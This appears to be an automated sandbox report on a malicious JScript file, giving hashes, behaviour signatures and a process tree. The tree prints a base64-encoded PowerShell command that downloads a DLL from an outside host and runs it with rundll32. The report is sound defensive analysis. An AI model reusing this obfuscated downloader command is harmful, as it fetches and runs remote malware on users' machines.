Analysis

  • max time kernel
    30s
  • max time network
    33s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    14/03/2023, 15:12

General

  • Target

    run.js

  • Size

    42KB

  • MD5

    213faecc641aad1a2b64714054adb61d

  • SHA1

    6f293b7c46ea6d1419172378903661502c37982c

  • SHA256

    c7246f2f802c8d017fdc1efbc6fb845d7175854140cd055c859e9e5da0cc33fe

  • SHA512

    2fe498e54599a8c79f91e1e99a6ed7181e2cabdf46f7a32de2d2caf267c2a2af33d3007b84b043a43228f1130efd42e0852177835d333ffc2a954d38c4bf9362

  • SSDEEP

    768:ID2IHpyO0kefdnhYnLg+iLcQpHPGLP4ay4d4Sw8nnsW1DADlyP9w0eyDtHSSp:ID2IHpyO0kefcg+ipPSustHSSp

Score
3/10

Malware Config

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\run.js
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2040
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "UwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAGgAdAB0AHAAcwA6AC8ALwBpAHMAaABhAHMAbgBhAGMAawBzAC4AYwBvAG0ALwBzAEUAUgAvAHQAIAAtAE8AIAAkAGUAbgB2ADoAVABFAE0AUABcAGMAaABvAG4AZAByAG8AcwBhAHIAYwBvAG0AYQB0AG8AdQBzAFIAZQBmAG8AcgBtAGEAYgBsAGUALgBkAGwAbAA7AHMAdABhAHIAdAAgAHIAdQBuAGQAbABsADMAMgAgACQAZQBuAHYAOgBUAEUATQBQAFwAXABjAGgAbwBuAGQAcgBvAHMAYQByAGMAbwBtAGEAdABvAHUAcwBSAGUAZgBvAHIAbQBhAGIAbABlAC4AZABsAGwALABYAFMAOAA4ADsA"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2004
      • C:\Windows\system32\rundll32.exe
        "C:\Windows\system32\rundll32.exe" C:\Users\Admin\AppData\Local\Temp\\chondrosarcomatousReformable.dll XS88
        3⤵
          PID:1324

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • memory/2004-58-0x000000001B0F0000-0x000000001B3D2000-memory.dmp

            Filesize

            2.9MB

          • memory/2004-59-0x0000000002230000-0x0000000002238000-memory.dmp

            Filesize

            32KB

          • memory/2004-60-0x0000000002570000-0x00000000025F0000-memory.dmp

            Filesize

            512KB

          • memory/2004-61-0x0000000002570000-0x00000000025F0000-memory.dmp

            Filesize

            512KB